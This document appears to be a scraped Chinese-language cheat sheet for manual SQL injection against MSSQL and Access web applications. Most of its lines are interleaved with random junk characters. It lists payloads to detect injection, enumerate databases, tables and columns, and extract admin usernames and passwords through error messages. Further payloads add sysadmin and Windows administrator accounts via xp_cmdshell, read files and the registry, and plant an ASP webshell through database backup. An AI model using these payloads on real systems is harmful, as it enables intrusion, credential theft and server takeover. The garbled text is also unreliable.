1.判断是否有注入
' x- K( q5 \/ G8 u;and 1=1
. I% ]3 q4 I" L, n, V* c9 Z6 z;and 1=2 / {. r; Z4 E- F. v+ R8 @
5 e* z" A9 c. ]! D% _. _5 ~" T Z
2.初步判断是否是mssql
" A) o- ?1 R" K5 I+ ^, E% L, k;and user>0
- Y! \6 N: o* t2 R' u
8 P. c" C( r8 c3.判断数据库系统 4 ?: ]: q0 a6 V: ~' I$ e! p3 b& \
;and (select count(*) from sysobjects)>0 mssql ! \( o- i% ?0 j) G
;and (select count(*) from msysobjects)>0 access 2 v) x' q: H* b2 {: C
% ]5 s4 j% R$ b+ f9 I
4.注入参数是字符 " I0 T6 u2 M+ z" a6 [8 x1 n0 u
'and [查询条件] and ''=' . f* f: X. b# T' \, F5 G
. ~. {3 J* C4 l6 s m% p A: F
5.搜索时没过滤参数的 - Z6 U: v5 v }& u" X3 {- A; ~
'and [查询条件] and '%25'=' 3 N" e9 A5 B0 Q9 T8 Q0 s6 \
' `- U+ U; b; W, _5 Z
6.猜数表名 ) n4 L+ Q* M- d" Q6 C6 \( F* J
;and (select Count(*) from [表名])>0
8 d5 O" J; B9 ~# L( T2 g
s6 i* m% |, F. A _/ I: s, o7.猜字段 5 @: D* E- `/ a0 _- Y5 J, e2 K5 W# p
;and (select Count(字段名) from 表名)>0 , L S: d Q0 O: E2 J' H
1 n6 k& f" P. ~% w9 ]3 D* E7 K: A' `! C: H
8.猜字段中记录长度
0 r1 ?3 a' X: V K" T: N# B2 };and (select top 1 len(字段名) from 表名)>0
; c/ m& P' u7 N. R& B/ d9 z: Y8 U4 U# ]. @4 z
9.(1)猜字段的ascii值(access)
" q& Z. @& I, X, Q$ d;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 ; `$ k' \( I" e
8 o$ S n; W% n' O- h) ?
(2)猜字段的ascii值(mssql)
* y6 B" [# Q9 v5 F% [;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
: e1 N/ c/ N. w1 B; L$ d3 O1 X/ |, D- J5 M
10.测试权限结构(mssql)
$ S6 c! H3 t7 o0 p: h) T- X;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- : p8 u, b0 i; m# I0 n
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- , {* J6 J" m7 N' f4 M+ Q( s4 E
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
1 U: u; D; y; `9 j. i; b2 M+ e;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 1 D) _3 f$ U) d
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
* A1 i( t' B3 b2 w6 e! o$ x;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 7 Q7 f6 A( R9 |' e. N. ]' P
;and 1=(select IS_MEMBER('db_owner'));-- " K, T+ l& u) r7 w4 e" W' f9 Q
* i& z# j6 @2 U$ t8 l/ H; K. p0 S
11.添加mssql和系统的帐户
. @. S; M" [ x, W; d. B4 ?$ Y;exec master.dbo.sp_addlogin username;-- # L+ p& g$ [9 e& P+ N2 q* Q
;exec master.dbo.sp_password null,username,password;--
1 m: A3 c4 l1 ]6 ?0 N" l3 h;exec master.dbo.sp_addsrvrolemember sysadmin username;-- # g* L" \" S1 G( A
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
/ [( c8 u" r$ V" A* F;exec master.dbo.xp_cmdshell 'net user username password /add';--
' Q: g* S; [1 X& p, f" @- N3 C! T;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
% G6 O6 U/ W$ C. A
y5 W' R& D3 _: F6 X, }. G12.(1)遍历目录
Q/ L% b8 E! O: O" j6 e4 w;create table dirs(paths varchar(100), id int) ; w$ w5 D9 y# A7 r9 ]5 k% p) W
;insert dirs exec master.dbo.xp_dirtree 'c:\'
/ h0 l( T; v1 M' C, I: O1 Y;and (select top 1 paths from dirs)>0
5 w% R$ V* {% s6 s;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
9 m0 d0 G3 [( P) v+ m$ m, l
- q8 M l1 l6 P# v5 G' O3 U(2)遍历目录
2 ?& E: j* ?4 d; B/ s;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- + U2 H: v* [4 Q2 a3 k6 N
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
& e4 I+ P7 |9 d8 x% @;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
1 _' I' C a3 T a6 N1 b2 P v;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
* W w4 f" S' G, d s* g2 v. T/ O;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 - P0 C3 G! ?4 n0 Q2 j
3 e5 |! ?, K' v13.mssql中的存储过程
' m$ V0 W [; `' V9 |- b4 k+ E. lxp_regenumvalues 注册表根键, 子键 3 q' [6 M7 S) [* R
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 . B5 w. Z& \: l; n
xp_regread 根键,子键,键值名
$ u; l8 E# X( t7 ]& r( P* s;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
4 b: |. B, {) K2 D, N. sxp_regwrite 根键,子键, 值名, 值类型, 值
7 d; ?3 q1 C$ C' p& B( R* R# a( S值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 , I$ N2 n ^( y" M
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 3 w# F( @1 n2 V& |2 r- |% I
xp_regdeletevalue 根键,子键,值名
$ G! p: x5 L2 A+ Dexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 2 @) t" ?/ K4 b& u% ]% h* |
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
" Y! @$ Q$ O5 U i9 |% ]& }+ B. T7 X5 ~+ @- y
14.mssql的backup创建webshell
7 A# E8 d/ S# o/ V0 U+ n) cuse model
6 |9 ~9 V: C" ~0 x6 j4 E; G! Ccreate table cmd(str image); - ~2 p2 A; v8 k( Y+ f5 j3 d- U$ ]
insert into cmd(str) values ('<% Dim oScript %>');
O4 T" J! P7 o$ N2 C0 zbackup database model to disk='c:\l.asp';
2 W6 i$ ?$ P7 a) k, o3 B8 ]: r S! O+ E# A8 {) p
15.mssql内置函数
- D) F: o/ G; Q% h1 I;and (select @@version)>0 获得Windows的版本号
7 D( S' l) H7 g( }5 p/ L0 {;and user_name()='dbo' 判断当前系统的连接用户是不是sa ' V: U- \. |. D" K; i# c9 }; L m
;and (select user_name())>0 爆当前系统的连接用户
1 I$ s( ]% ?' B1 e: p;and (select db_name())>0 得到当前连接的数据库 ; j- `- E! j6 J7 u$ D% Z" i
# B6 U; I4 t: V# O
4 b, O% J+ w) T4 Y3 A/ e9 A
2 Y0 ]/ _7 r1 M# m. YMSSQL手注暴库, ~* C6 y2 G/ K. A% G( b* k8 _
$ {, W3 F5 s& k0 n5 A3 H1 U- Z |
1.暴出当前表名和列名 _8 }+ |8 p# N* x
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
I: z/ u D: T8 z- P! z2 i) x
3 d* n6 s5 o8 r4 v" c. |第一.爆出所有数据库名
) N/ f2 f U* }' w利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。6 a4 H# u. ^. l+ W7 j H$ B* O
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。2 D8 m% }. i9 y% C
: {2 W! B' f6 q- m0 @/ V
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
, H! F. R# \7 N7 X7 E V" d1 O" q( K& m
( T( Z8 r( r8 D9 `+ n, x2 L第二.爆出指定库中的所有表名
8 \. Q/ l7 h; L1 ?' r8 w1 D# Y0 w: ^6 b得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
8 _8 q. B) Q3 F再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。: `. A0 Y/ D% ?- W( a$ O
' E V( N: S- D8 y
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--6 I8 l7 P8 f" m5 U( v$ X
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
* k# z" A, v4 fand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--6 N2 x: N2 G# s/ `% D% M/ O4 G9 F
& [ O0 w9 o. h& V& k4.爆出指定表中的所有列名( B$ l$ p9 c, I1 _3 `
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
) E0 K* K1 H B9 x$ V' y* M1 M//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
7 L- O$ i+ ?! C! g( w# A2 ~3 Q- B" k3 L& b7 [8 ^
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
5 _$ F5 w; G; r% B4 l$ L
- v6 G" Y) `- ^( [. t& k$ w再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- + y( t( g6 X: ?- f% F( M' x
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。& Y0 L) h0 Y: a0 m+ e+ `
4 I y; w* r4 X8 n6 A) k3 a' P& W% j& z& b* V* B
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值
5 V7 l3 r7 J1 x$ ?* Q4 M: N- c2 C) K& _9 _0 d
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
* |7 _2 P4 A0 ?/ r% B2 }8 ?+ _1 d: U; e* Q- g
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
) {4 n' o- Z: P' B: I5 w# B0 g) L6 g. j( v4 D) x7 B
! `5 }4 R( r* o4 o X
o) s& i* _6 Q0 _) s
5.读取指定表中的数据
e! t% n7 }* N* L
9 G2 v. Z1 o5 R' A# @8 land 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 2 f3 d9 R1 Z; V, R
4 \0 b6 r( @; W4 J
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--( n. u# C& |! W7 {: c
2 S- d1 A& C }5 n: g* Z K. Z) Rand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
8 @! b/ O7 G+ f! q- @) E( x* T2 W) t* G
% E, z) w% T8 t+ B. L& y
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)
7 @, z6 z1 c0 J( A
9 D0 ?" p; z/ i- y, ^# P/ R, Tand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)3 x. L4 K3 |' g# U- n V
2 ~% H6 R$ H; n( fand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
$ Z3 c1 J& b0 Z8 L% k; T% z6 X0 }+ D$ `6 R2 D6 C0 |
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。& z! f2 h8 h7 P! a
|